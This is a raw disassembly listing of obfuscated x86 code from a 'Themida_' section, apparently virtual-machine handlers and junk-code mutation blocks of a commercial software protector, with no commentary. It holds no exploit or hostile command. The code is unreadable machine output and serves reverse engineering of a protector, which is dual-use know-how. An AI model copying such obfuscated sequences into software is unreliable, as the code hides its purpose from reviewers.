--------------------------------------------------------------------------- loc_54FE2F: ; CODE XREF: Themida_:00559F4Bj push 10B8h mov [esp], ecx jmp loc_55354B ; --------------------------------------------------------------------------- loc_54FE3C: ; CODE XREF: Themida_:0055796Cj mov eax, esp push edx jmp loc_554E3E ; --------------------------------------------------------------------------- loc_54FE44: ; CODE XREF: Themida_:0054EC8Aj mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_558ED5 ; --------------------------------------------------------------------------- neg dword ptr [esp] pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_54FE67: ; CODE XREF: Themida_:00558305j add edi, ebx pop ebx jmp loc_556B9E ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_55614A ; --------------------------------------------------------------------------- loc_54FE7A: ; CODE XREF: Themida_:005556FAj mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], edx push 54AF185Ah pop edx add edx, 0AB50E7AAh sub edi, 78BE2322h add edi, edx add edi, 78BE2322h jmp loc_552B3E ; --------------------------------------------------------------------------- loc_54FEA8: ; CODE XREF: Themida_:0055052Ej mov [esp], ebx jmp loc_55A542 ; --------------------------------------------------------------------------- loc_54FEB0: ; CODE XREF: Themida_:0055424Bj push ebx push 7469308Ah pop ebx or ebx, 2A130918h xor ebx, 5CF500BFh xor ebx, 228E3921h jmp loc_5510EE ; --------------------------------------------------------------------------- loc_54FECE: ; CODE XREF: Themida_:00558703j add esi, ebx sub esi, 1D92190Dh jmp loc_55A671 ; --------------------------------------------------------------------------- loc_54FEDB: ; CODE XREF: Themida_:0055934Ej sub eax, esi pop esi shr eax, 5 jmp loc_55276C ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], eax jmp loc_559DEC ; --------------------------------------------------------------------------- loc_54FEF1: ; CODE XREF: Themida_:00550BFFj push dword ptr [esp] pop edx jmp loc_554E8E ; --------------------------------------------------------------------------- loc_54FEFA: ; CODE XREF: Themida_:0055955Bj sub al, 0D7h pop dx sub al, 0A2h add al, bl push edx mov dh, 4Ah xor dh, 0D7h sub dh, 94h jmp loc_550A34 ; --------------------------------------------------------------------------- loc_54FF10: ; CODE XREF: Themida_:00552614j neg ebp shl ebp, 4 sub ebp, 10545133h add eax, ebp jmp loc_5590FD ; --------------------------------------------------------------------------- loc_54FF22: ; CODE XREF: Themida_:00550DD5j inc bl push eax jmp loc_552482 ; --------------------------------------------------------------------------- loc_54FF2A: ; CODE XREF: Themida_:0054F2A2j add eax, ebp push 4D6Fh jmp loc_54F595 ; --------------------------------------------------------------------------- loc_54FF36: ; CODE XREF: Themida_:00551C2Aj xor eax, esi mov esi, [esp] jmp loc_552684 ; --------------------------------------------------------------------------- loc_54FF40: ; CODE XREF: Themida_:0055A0B2j shr cl, 1 sub esp, 4 mov [esp], ebx jmp loc_5510F5 ; --------------------------------------------------------------------------- loc_54FF50: ; CODE XREF: Themida_:0055591Aj pop edi xchg ecx, [esp] pop esp add ebp, 2 push 6173h mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] pop esp jmp loc_558726 ; --------------------------------------------------------------------------- loc_54FF83: ; CODE XREF: Themida_:005504A9j add ebp, 4 push ebx mov ebx, 3DD13C7Ah add ebx, 703522F0h add ebx, 4F0B78A4h sub ebx, 0FD11D80Ch add ebp, ebx jmp loc_55016C ; --------------------------------------------------------------------------- loc_54FFA8: ; CODE XREF: Themida_:005513A6j add esp, 4 push eax mov ah, 5Ch jmp loc_550799 ; --------------------------------------------------------------------------- mov ax, [esp] push 433Eh mov [esp], ecx mov ecx, esp jmp loc_552EF8 ; --------------------------------------------------------------------------- loc_54FFC9: ; CODE XREF: Themida_:0055657Bj pop eax push 681Eh mov [esp], ecx mov ecx, edi mov edx, ecx pop ecx pop edi jmp loc_556772 ; --------------------------------------------------------------------------- loc_54FFDD: ; CODE XREF: Themida_:00559189j pop ebp jmp loc_559058 ; --------------------------------------------------------------------------- loc_54FFE3: ; CODE XREF: Themida_:0054F9AAj push edi mov edi, 4 add eax, edi pop edi add eax, 4 jmp loc_55574D ; --------------------------------------------------------------------------- loc_54FFF4: ; CODE XREF: Themida_:005509A8j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_54FFF9: ; CODE XREF: Themida_:00551FA2j xchg ebp, [esp] jmp loc_55A496 ; --------------------------------------------------------------------------- loc_550001: ; CODE XREF: Themida_:0054EBE9j mov ch, 0Fh xor ch, 0B4h xor ch, 3 jmp loc_55387D ; --------------------------------------------------------------------------- loc_55000E: ; CODE XREF: Themida_:00552D16j push ebx mov ebx, 4 sub ecx, 4F083A4Ch jmp loc_552D72 ; --------------------------------------------------------------------------- loc_55001F: ; CODE XREF: Themida_:0055A077j add cl, 0Eh add al, cl jmp loc_552EAD ; --------------------------------------------------------------------------- loc_550029: ; CODE XREF: Themida_:00552F5Cj mov edx, esp add edx, 4 push edi mov edi, 4 add edx, edi pop edi push edx push dword ptr [esp+4] pop edx jmp loc_54FA59 ; --------------------------------------------------------------------------- loc_550045: ; CODE XREF: Themida_:00555DA3j neg ch jmp loc_555196 ; --------------------------------------------------------------------------- loc_55004C: ; CODE XREF: Themida_:0055515Cj push esi push edx mov edx, 4B125A7Eh neg edx xor edx, 0CC41B879h push edx jmp loc_558454 ; --------------------------------------------------------------------------- loc_550061: ; CODE XREF: Themida_:005515AFj xor [esp], esi jmp loc_550F0E ; --------------------------------------------------------------------------- loc_550069: ; CODE XREF: Themida_:00555E7Fj sub edx, 7EC9688Dh sub edx, 33994A00h add edx, edi add edx, 33994A00h add edx, 7EC9688Dh jmp loc_551E22 ; --------------------------------------------------------------------------- loc_550088: ; CODE XREF: Themida_:005533C5j and cl, bh pop ebx push edx mov dh, 82h neg dh not dh xor dh, 39h shr dh, 2 xor dh, 29h add cl, dh pop edx mov al, cl jmp loc_5528FB ; --------------------------------------------------------------------------- loc_5500A5: ; CODE XREF: Themida_:005577CBj mov ecx, esp push edi mov edi, 4 add ecx, edi pop edi push 47CDh mov [esp], edx jmp loc_55724D ; --------------------------------------------------------------------------- loc_5500BD: ; CODE XREF: Themida_:0054EDA4j xor ch, dh jmp loc_555D95 ; --------------------------------------------------------------------------- loc_5500C4: ; CODE XREF: Themida_:00553D44j xchg ebp, [esp] mov esp, [esp] push ebx add dword ptr [esp], 58051EAEh pop eax sub eax, 58051EAEh pop ebx jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5500DE: ; CODE XREF: Themida_:005515F6j xor ebp, [esp] xor [esp], ebp jmp loc_550FA2 ; --------------------------------------------------------------------------- loc_5500E9: ; CODE XREF: Themida_:0055544Fj sub ecx, 2BEB01D8h sub ecx, 0AE563B62h mov ebp, ecx pop ecx add ebp, 5BF268C1h push eax mov eax, 51E93811h jmp loc_5539B6 ; --------------------------------------------------------------------------- mov cx, [esp] push eax push esp pop eax sub esp, 4 mov [esp], edi jmp loc_559AC1 ; --------------------------------------------------------------------------- mov cx, [esp] push 36ADh jmp loc_55A419 ; --------------------------------------------------------------------------- xor [esp], dx xor dx, [esp] xor [esp], dx push dx not word ptr [esp] jmp loc_5535AB ; --------------------------------------------------------------------------- loc_550143: ; CODE XREF: Themida_:0054F357j mov eax, 57EA14C9h jmp loc_5574F6 ; --------------------------------------------------------------------------- loc_55014D: ; CODE XREF: Themida_:005581FAj xor ebx, edi jmp loc_556DF3 ; --------------------------------------------------------------------------- loc_550154: ; CODE XREF: Themida_:00555262j mov eax, 2 jmp loc_558E9A ; --------------------------------------------------------------------------- loc_55015E: ; CODE XREF: Themida_:00551F78j xchg eax, esi pop esi xor eax, 64D522CFh add edi, eax jmp loc_55B145 ; --------------------------------------------------------------------------- loc_55016C: ; CODE XREF: Themida_:0054FFA3j pop ebx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_557292 ; --------------------------------------------------------------------------- loc_55017B: ; CODE XREF: Themida_:0055958Dj movzx eax, al push dword ptr [edi+eax*4] push esi mov esi, esp add esi, 4 push ebp mov ebp, 4 jmp loc_55AFAE ; --------------------------------------------------------------------------- loc_550195: ; CODE XREF: Themida_:00556B3Bj pop eax jmp loc_551B50 ; --------------------------------------------------------------------------- loc_55019B: ; CODE XREF: Themida_:005573C8j sub edx, ebx pop ebx add ebp, edx pop edx push 19F1h mov [esp], edi mov edi, 4 sub ebp, edi pop edi sub esp, 4 mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp push ebx push esp pop ebx add ebx, 4 jmp loc_554FCD ; --------------------------------------------------------------------------- loc_5501CD: ; CODE XREF: Themida_:005592F3j add esp, 4 jmp loc_550AF6 ; --------------------------------------------------------------------------- loc_5501D5: ; CODE XREF: Themida_:005549CAj mov esi, esp add esi, 4 jmp loc_55378B ; --------------------------------------------------------------------------- loc_5501E2: ; CODE XREF: Themida_:00559A95j mov esp, [esp] jmp loc_55A985 ; --------------------------------------------------------------------------- loc_5501EA: ; CODE XREF: Themida_:00555811j pop esp jmp loc_55105A ; --------------------------------------------------------------------------- loc_5501F0: ; CODE XREF: Themida_:005545F4j add bl, cl jmp loc_552189 ; --------------------------------------------------------------------------- loc_5501F7: ; CODE XREF: Themida_:00557EB8j mov dh, 88h add bl, 73h sub bl, dh sub bl, 73h mov dx, [esp] push edi jmp loc_553793 ; --------------------------------------------------------------------------- loc_55020B: ; CODE XREF: Themida_:005506FCj add eax, 5F90EF3h push edi mov edi, 75BE4B9Fh push edx mov edx, 226159C3h sub edi, edx mov edx, [esp] add esp, 4 push ebx push 6D21A65h pop ebx add edi, ebx mov ebx, [esp] add esp, 4 xor edi, 7B005F5Eh sub eax, edi pop edi sub eax, ebx push 5DE4h mov [esp], ebx mov ebx, 32CA02AAh shr ebx, 1 jmp loc_557BE7 ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55025D: ; CODE XREF: Themida_:00557D34j pop ebx jmp loc_54F3FA ; --------------------------------------------------------------------------- loc_550263: ; CODE XREF: Themida_:00557ADDj pop esp push ebp push esp pop ebp add ebp, 4 push ebx mov ebx, 4 jmp loc_555A7C ; --------------------------------------------------------------------------- loc_550278: ; CODE XREF: Themida_:00553786j pop eax jmp loc_5540C3 ; --------------------------------------------------------------------------- loc_55027E: ; CODE XREF: Themida_:0055A6DCj add edi, 4 jmp loc_551490 ; --------------------------------------------------------------------------- loc_550289: ; CODE XREF: Themida_:0054FB91j shr eax, 4 jmp loc_556060 ; --------------------------------------------------------------------------- loc_550291: ; CODE XREF: Themida_:0054ECAFj pop edi add esi, 65A838AAh add esi, eax sub esi, 65A838AAh pop eax xchg esi, [esp] jmp loc_55AB3A ; --------------------------------------------------------------------------- loc_5502A9: ; CODE XREF: Themida_:00557C6Aj pop esp loc_5502AA: ; CODE XREF: Themida_:loc_551800j push ebx push dword ptr [esp] pop ebx sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_557FAE ; --------------------------------------------------------------------------- loc_5502C5: ; CODE XREF: Themida_:005587C7j mov ecx, 4 add esi, 3D06235Fh add esi, ecx jmp loc_550334 ; --------------------------------------------------------------------------- loc_5502D7: ; CODE XREF: Themida_:0055942Fj add eax, edx pop edx add eax, 4 jmp loc_556FBD ; --------------------------------------------------------------------------- loc_5502E4: ; CODE XREF: Themida_:0055ACADj mov edx, [esp] add esp, 4 push 34D9h mov [esp], edi jmp loc_555AC1 ; --------------------------------------------------------------------------- loc_5502FA: ; CODE XREF: Themida_:0055A37Bj mov ecx, esp add ecx, 4 jmp loc_5507DF ; --------------------------------------------------------------------------- loc_550307: ; CODE XREF: Themida_:00552318j pop esp add esp, 4 push dword ptr [esp] push dword ptr [esp] mov eax, [esp] jmp loc_55AFCD ; --------------------------------------------------------------------------- loc_550319: ; CODE XREF: Themida_:00555996j mov edx, [esp] jmp loc_5599B8 ; --------------------------------------------------------------------------- loc_550321: ; CODE XREF: Themida_:00551288j mov [esp], ecx mov ecx, 4 sub esi, 5B045127h jmp loc_554AB8 ; --------------------------------------------------------------------------- loc_550334: ; CODE XREF: Themida_:005502D2j sub esi, 3D06235Fh mov ecx, [esp] jmp loc_55A9FE ; --------------------------------------------------------------------------- loc_550342: ; CODE XREF: Themida_:005522D1j push ebp neg dword ptr [esp] pop ebp sub ebp, 22F07DEFh and ebp, 6006DF3h jmp loc_5569E6 ; --------------------------------------------------------------------------- loc_550358: ; CODE XREF: Themida_:00550D3Bj xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], ax jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55036A: ; CODE XREF: Themida_:0055720Fj sub al, 2 mov ecx, [esp] jmp loc_553B0B ; --------------------------------------------------------------------------- loc_550374: ; CODE XREF: Themida_:0054EEA1j pop dword ptr [esp] mov esp, [esp] jmp loc_5595FE ; --------------------------------------------------------------------------- loc_55037F: ; CODE XREF: Themida_:005507A5j add ah, 1Dh and dl, ah pop eax push eax mov al, 0Fh sub al, 0F3h inc al sub al, 0A9h and dl, al pop eax shl dl, 7 and dl, 0BEh dec dl push eax mov al, 82h add dl, al pop eax sub bl, dl mov edx, [esp] jmp loc_5553FA ; --------------------------------------------------------------------------- loc_5503A9: ; CODE XREF: Themida_:00552D57j pop dword ptr [esp] pop esp mov [esp], ebx jmp loc_5516B3 ; --------------------------------------------------------------------------- loc_5503B5: ; CODE XREF: Themida_:005540BEj push eax mov eax, 25426DC8h add edx, eax pop eax mov ebx, [esp] push edx mov edx, esp jmp loc_5564E3 ; --------------------------------------------------------------------------- loc_5503C9: ; CODE XREF: Themida_:00559EEBj push ecx jmp loc_550FDA ; --------------------------------------------------------------------------- loc_5503CF: ; CODE XREF: Themida_:0055123Ej add esi, 4 xchg esi, [esp] pop esp jmp loc_55343C ; --------------------------------------------------------------------------- loc_5503DB: ; CODE XREF: Themida_:005580A4j push esp jmp loc_55065E ; --------------------------------------------------------------------------- loc_5503E1: ; CODE XREF: Themida_:0055110Fj push eax mov ah, 57h mov ch, ah jmp loc_552EC1 ; --------------------------------------------------------------------------- loc_5503EB: ; CODE XREF: Themida_:00556C3Cj pop eax sub esp, 4 mov [esp], edx push dword ptr [esp+4] mov edx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_55B191 ; --------------------------------------------------------------------------- loc_55040A: ; CODE XREF: Themida_:0055250Bj inc bl sub bl, 3 xor dl, bl pop ebx sub bl, dl mov edx, [esp] push edx mov edx, esp add edx, 4 jmp loc_552C3F ; --------------------------------------------------------------------------- mov ax, [esp] push esi push esp mov esi, [esp] add esp, 4 jmp loc_557DDB ; --------------------------------------------------------------------------- loc_550439: ; CODE XREF: Themida_:00553236j pop ebp add ebx, 4 xchg ebx, [esp] pop esp push ax mov al, 6 add bl, al pop ax push edx mov dh, 5Ch sub bl, dh pop edx sub bl, al push ecx mov ch, 5Ch add bl, 71h jmp loc_554216 ; --------------------------------------------------------------------------- loc_55045F: ; CODE XREF: Themida_:0055837Cj pop esp jmp loc_55AA79 ; --------------------------------------------------------------------------- loc_550465: ; CODE XREF: Themida_:00550B2Dj pop eax pop eax xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp sar dword ptr [esp], cl pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55047A: ; CODE XREF: Themida_:00556CD9j mov eax, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp sub esp, 4 mov [esp], ebx mov bh, dl push edx push 1B5Fh mov [esp], ecx mov cl, bh jmp loc_559B91 ; --------------------------------------------------------------------------- loc_5504A8: ; CODE XREF: Themida_:0055AA52j pop esp jmp loc_54FF83 ; --------------------------------------------------------------------------- loc_5504AE: ; CODE XREF: Themida_:00559A35j add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_550585 ; --------------------------------------------------------------------------- loc_5504C0: ; CODE XREF: Themida_:005525A4j add edi, edx jmp loc_555B01 ; --------------------------------------------------------------------------- loc_5504C7: ; CODE XREF: Themida_:00550A70j mov ebp, esp sub esp, 4 mov [esp], esi mov esi, 10207149h xor esi, 34B0369Ah sub esi, 0FFFFFFFFh push ebx mov ebx, 249047D0h sub esi, ebx jmp loc_55522B ; --------------------------------------------------------------------------- loc_5504F0: ; CODE XREF: Themida_:00556237j pop esi jmp loc_5556C7 ; --------------------------------------------------------------------------- loc_5504F6: ; CODE XREF: Themida_:0055458Aj mov esp, [esp] mov cx, [esp] sub esp, 4 mov [esp], edi push 194Bh mov [esp], esp push 7D54h mov [esp], esi mov esi, 4 push ebx mov ebx, 34A85B20h dec ebx jmp loc_55ACC4 ; --------------------------------------------------------------------------- loc_550527: ; CODE XREF: Themida_:005581D0j pop esi sub esp, 4 jmp loc_54FEA8 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edi mov edi, esp jmp loc_55901E ; --------------------------------------------------------------------------- loc_550544: ; CODE XREF: Themida_:00555503j sub eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_55AD25 ; --------------------------------------------------------------------------- loc_550557: ; CODE XREF: Themida_:00556337j pop ebx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_559CCB ; --------------------------------------------------------------------------- loc_550575: ; CODE XREF: Themida_:0055AD20j xor [esp], esi xor esi, [esp] pop esp add [esp], eax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_550585: ; CODE XREF: Themida_:005504BBj pop esp push eax jmp loc_55423A ; --------------------------------------------------------------------------- loc_55058C: ; CODE XREF: Themida_:0055A068j sub ebp, ebx pop ebx jmp loc_553042 ; --------------------------------------------------------------------------- loc_550594: ; CODE XREF: Themida_:0055403Fj add edx, ebx jmp loc_552386 ; --------------------------------------------------------------------------- loc_55059B: ; CODE XREF: Themida_:00550776j sub al, 0ADh add al, bh jmp loc_55A8AC ; --------------------------------------------------------------------------- loc_5505A4: ; CODE XREF: Themida_:005585ACj pop dx jmp loc_553E2E ; --------------------------------------------------------------------------- loc_5505AB: ; CODE XREF: Themida_:0055283Aj add esp, 4 jmp loc_5536D9 ; --------------------------------------------------------------------------- lodsb push edx jmp loc_556131 ; --------------------------------------------------------------------------- push ecx push eax add dword ptr [esp], 2A394F5Dh pop ecx sub ecx, 2A394F5Dh jmp loc_55690A ; --------------------------------------------------------------------------- loc_5505D2: ; CODE XREF: Themida_:005521AAj push esp mov ecx, [esp] add esp, 4 push edi jmp loc_55A087 ; --------------------------------------------------------------------------- loc_5505E2: ; CODE XREF: Themida_:00553A0Cj sub eax, edi pop edi add eax, 0BDE0B4Bh sub eax, ebx sub eax, 0BDE0B4Bh add eax, 445D02DFh sub eax, 1D055943h push ebx mov ebx, 7CE11924h neg ebx xor ebx, 8BF7F699h add eax, ebx pop ebx push esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi jmp loc_5510D3 ; --------------------------------------------------------------------------- loc_550626: ; CODE XREF: Themida_:00551747j pop ebx jmp loc_55689D ; --------------------------------------------------------------------------- loc_55062C: ; CODE XREF: Themida_:0055611Bj pop esp pop ecx push ebx mov ebx, 77543E3Bh add ecx, ebx pop ebx sub esp, 4 mov [esp], edi push dword ptr [esp] mov edx, [esp] jmp loc_55838C ; --------------------------------------------------------------------------- loc_55064B: ; CODE XREF: Themida_:00554028j xor esi, [esp] mov esp, [esp] jmp loc_55ADF4 ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55065E: ; CODE XREF: Themida_:005503DCj mov ecx, [esp] add esp, 4 push ebx push edx jmp loc_551BBD ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] push small 7A00h mov [esp], ax jmp loc_54EA5C ; --------------------------------------------------------------------------- lodsb sub esp, 4 jmp loc_5533CA ; --------------------------------------------------------------------------- loc_550688: ; CODE XREF: Themida_:005509BAj shr ebp, 5 xor ebp, 47CBCD19h mov edi, ebp jmp loc_5517A1 ; --------------------------------------------------------------------------- loc_550698: ; CODE XREF: Themida_:0055B101j or al, 43h dec al sub al, 0A4h dec al shr al, 6 shl al, 8 sub al, 0CCh sub al, 76h sub al, 56h sub dl, al pop eax sub bh, dl mov edx, [esp] add esp, 4 jmp loc_551378 ; --------------------------------------------------------------------------- loc_5506BF: ; CODE XREF: Themida_:005527EAj push edx mov edx, 5D223D7h inc edx dec edx push 0B9h mov [esp], eax mov eax, 7EF7AAFh add edx, eax pop eax jmp loc_555E53 ; --------------------------------------------------------------------------- loc_5506DC: ; CODE XREF: Themida_:005594ACj movzx eax, al push dword ptr [edi+eax*4] sub esp, 4 mov [esp], esi push 403h mov [esp], edx jmp loc_558F7A ; --------------------------------------------------------------------------- loc_5506F5: ; CODE XREF: Themida_:00558FABj push edx jmp loc_550FB9 ; --------------------------------------------------------------------------- lodsd jmp loc_55020B ; --------------------------------------------------------------------------- loc_550701: ; CODE XREF: Themida_:00557D05j and esi, edx pop edx sub esi, 0E861FD7Eh add ecx, esi mov esi, [esp] add esp, 4 add ecx, 31F856C4h push edi jmp loc_555AEC ; --------------------------------------------------------------------------- loc_55071E: ; CODE XREF: Themida_:00552491j push edx push ebx mov bh, 0DBh mov dh, 0ADh add dh, 0EEh add dh, bh sub dh, 0EEh pop ebx or dh, 1Fh jmp loc_5567EE ; --------------------------------------------------------------------------- loc_550735: ; CODE XREF: Themida_:00557F8Ej push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp jmp loc_5556B2 ; --------------------------------------------------------------------------- loc_55074D: ; CODE XREF: Themida_:00556D9Aj pop edx jmp loc_552B88 ; --------------------------------------------------------------------------- loc_550753: ; CODE XREF: Themida_:00559C88j mov [esp], eax jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55075B: ; CODE XREF: Themida_:0054FAA1j sub edx, 6FCC1DD9h xor edx, 0FCFECE3Eh jmp loc_5562AC ; --------------------------------------------------------------------------- loc_55076C: ; CODE XREF: Themida_:00554E6Aj pop edx pop eax shr bh, 5 xor bh, 4Fh add al, 9Dh jmp loc_55059B ; --------------------------------------------------------------------------- loc_55077B: ; CODE XREF: Themida_:00552639j mov edi, 2BAD1AECh shr edi, 2 sub edi, 73FC3EF0h inc edi not edi push esi mov esi, 96EF07D1h add edi, esi jmp loc_553F94 ; --------------------------------------------------------------------------- loc_550799: ; CODE XREF: Themida_:0054FFB1j xor ah, 0D2h neg ah neg ah add ah, 42h neg ah jmp loc_55037F ; --------------------------------------------------------------------------- loc_5507AA: ; CODE XREF: Themida_:0054ECB6j push ecx jmp loc_55361E ; --------------------------------------------------------------------------- loc_5507B0: ; CODE XREF: Themida_:005530D1j pop edi mov edi, [esp] add esp, 4 jmp loc_557FA8 ; --------------------------------------------------------------------------- loc_5507BC: ; CODE XREF: Themida_:0055399Dj xchg ebp, [esp] pop esp sub eax, ebp push dword ptr [esp] pop ebp jmp loc_559A2D ; --------------------------------------------------------------------------- loc_5507CB: ; CODE XREF: Themida_:0054ECE7j and eax, edi pop edi push ecx mov ecx, 912617h jmp loc_558CBF ; --------------------------------------------------------------------------- loc_5507D9: ; CODE XREF: Themida_:005519F1j push ebx jmp loc_55488E ; --------------------------------------------------------------------------- loc_5507DF: ; CODE XREF: Themida_:00550302j sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_5524F7 ; --------------------------------------------------------------------------- loc_5507F4: ; CODE XREF: Themida_:005549DBj push ebp push dword ptr [esp+4] jmp loc_557F57 ; --------------------------------------------------------------------------- loc_5507FE: ; CODE XREF: Themida_:0054F386j mov edi, 71D53A01h jmp loc_55787E ; --------------------------------------------------------------------------- loc_550808: ; CODE XREF: Themida_:005542D7j mov ecx, 23272A4Fh or ecx, 70265E79h sub ecx, 3CCF700Fh shr ecx, 6 xor ecx, 27565C17h add ecx, 0D870C3D6h add esi, ecx pop ecx add esi, 4 push esi push dword ptr [esp+4] jmp loc_552823 ; --------------------------------------------------------------------------- loc_55083B: ; CODE XREF: Themida_:0055292Aj push 3E84h mov [esp], ecx jmp loc_551A76 ; --------------------------------------------------------------------------- loc_550848: ; CODE XREF: Themida_:00552EBCj pop esi add edi, 0FD55F2F2h add ebx, 54A266FBh sub ebx, edi sub ebx, 54A266FBh pop edi jmp loc_553A4D ; --------------------------------------------------------------------------- loc_550863: ; CODE XREF: Themida_:00552064j add esp, 4 xchg ecx, [esp] jmp loc_554A80 ; --------------------------------------------------------------------------- loc_55086E: ; CODE XREF: Themida_:005557A2j mov ebx, 78CA05BFh push edx mov edx, 3A6867E7h and edx, 11BE6E86h dec edx shr edx, 2 shr edx, 7 sub edx, 0FFDEB37Dh jmp loc_5580BE ; --------------------------------------------------------------------------- loc_550891: ; CODE XREF: Themida_:00552A4Cj mov ecx, [esp] add esp, 4 mov ebp, edx pop edx and ebp, 56CD3289h shr ebp, 2 not ebp or ebp, 23271835h jmp loc_5563C8 ; --------------------------------------------------------------------------- loc_5508B0: ; CODE XREF: Themida_:005572B5j dec ebp jmp loc_554B1A ; --------------------------------------------------------------------------- loc_5508B6: ; CODE XREF: Themida_:00553079j mov eax, 3E092119h not eax jmp loc_555328 ; --------------------------------------------------------------------------- loc_5508C2: ; CODE XREF: Themida_:005584E6j mov [esp], ebx xor dword ptr [esp], 67015709h pop ecx xor ecx, 67015709h pop ebx mov edx, ecx jmp loc_553BC2 ; --------------------------------------------------------------------------- loc_5508DB: ; CODE XREF: Themida_:00557832j mov [esp], eax mov al, 0A5h jmp loc_55A89F ; --------------------------------------------------------------------------- loc_5508E5: ; CODE XREF: Themida_:00552381j push ecx mov ecx, eax mov edi, ecx pop ecx pop eax add edi, 502FFA9h xor eax, edi pop edi add esi, 74AC6543h jmp loc_550CA7 ; --------------------------------------------------------------------------- loc_550900: ; CODE XREF: Themida_:00551A0Bj push 5871h mov [esp], edi mov edi, 47542630h mov esi, 0B8ABD9D2h add esi, edi mov edi, [esp] add esp, 4 add eax, esi pop esi jmp loc_54F16E ; --------------------------------------------------------------------------- loc_550925: ; CODE XREF: Themida_:0055676Dj pop ebp add ebp, 4 push edi sub esp, 4 jmp loc_5588CB ; --------------------------------------------------------------------------- loc_550935: ; CODE XREF: Themida_:005516F1j push dx mov dl, 95h sub bl, dl pop dx sub bl, 0B4h jmp loc_557CB2 ; --------------------------------------------------------------------------- loc_550945: ; CODE XREF: Themida_:0055541Cj add ecx, 4 xchg ecx, [esp] pop esp pop ebx mov [edi+eax*4], ch jmp loc_5568F3 ; --------------------------------------------------------------------------- loc_550955: ; CODE XREF: Themida_:0055A2A1j push edi push esp pop edi add edi, 4 push ebp mov ebp, 46DC6FABh add ebp, 71BD428Eh or ebp, 549A7E7Ch or ebp, 12A2769Eh push ebx jmp loc_556FA7 ; --------------------------------------------------------------------------- loc_55097C: ; CODE XREF: Themida_:005566B2j push eax mov eax, 4 sub dword ptr [esp+4], 5358215Eh add dword ptr [esp+4], 4DBC22D9h add [esp+4], eax sub dword ptr [esp+4], 4DBC22D9h add dword ptr [esp+4], 5358215Eh pop eax pop edx jmp loc_54FFF4 ; --------------------------------------------------------------------------- loc_5509AD: ; CODE XREF: Themida_:00553E72j sub esp, 4 mov [esp], ecx jmp loc_555624 ; --------------------------------------------------------------------------- loc_5509B8: ; CODE XREF: Themida_:0054ED55j shl ebp, 1 jmp loc_550688 ; --------------------------------------------------------------------------- loc_5509BF: ; CODE XREF: Themida_:00550D65j pop eax xchg ebx, [esp] jmp loc_558D46 ; --------------------------------------------------------------------------- loc_5509C8: ; CODE XREF: Themida_:005569C6j add esp, 4 pop ebx jmp loc_553C79 ; --------------------------------------------------------------------------- loc_5509D1: ; CODE XREF: Themida_:00553437j pop ebx jmp loc_555EA4 ; --------------------------------------------------------------------------- loc_5509D7: ; CODE XREF: Themida_:0055495Bj xchg ebp, [esp] pop esp mov ecx, [esp] sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 push ebp mov ebp, 55C06E8Dh not ebp add ebp, 52E8161Ch add ebp, 2D85876h jmp loc_552E77 ; --------------------------------------------------------------------------- loc_550A08: ; CODE XREF: Themida_:00559B93j pop ecx push ecx jmp loc_5584EB ; --------------------------------------------------------------------------- loc_550A0F: ; CODE XREF: Themida_:0055B1E2j sub esp, 2 mov [esp], bx push eax mov ah, 0F1h inc ah sub ah, 83h sub ah, 0B7h jmp loc_5562E2 ; --------------------------------------------------------------------------- loc_550A29: ; CODE XREF: Themida_:00554340j xor [esp], edx xor edx, [esp] jmp loc_5515FB ; --------------------------------------------------------------------------- loc_550A34: ; CODE XREF: Themida_:0054FF0Bj shr dh, 3 jmp loc_55161A ; --------------------------------------------------------------------------- loc_550A3C: ; CODE XREF: Themida_:00557A72j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_550A41: ; CODE XREF: Themida_:00556BF4j add edi, 21637654h push esi mov esi, 72F00A32h add edi, esi pop esi pop eax xchg edi, [esp] pop esp mov ax, [esp] jmp loc_550AA8 ; --------------------------------------------------------------------------- loc_550A5E: ; CODE XREF: Themida_:00556FFAj mov [esp], edi mov edi, 925472Dh jmp loc_5578D7 ; --------------------------------------------------------------------------- loc_550A6B: ; CODE XREF: Themida_:0055180Ej push dword ptr [esp] pop eax push ebp jmp loc_5504C7 ; --------------------------------------------------------------------------- loc_550A75: ; CODE XREF: Themida_:00559D71j pop ebp jmp loc_5549CF ; --------------------------------------------------------------------------- loc_550A7B: ; CODE XREF: Themida_:00559657j add edx, ebx pop ebx pop ebx push esi jmp loc_55631B ; --------------------------------------------------------------------------- loc_550A85: ; CODE XREF: Themida_:00552CEAj shl ecx, 3 push ebp mov ebp, 459A4FB6h jmp loc_554379 ; 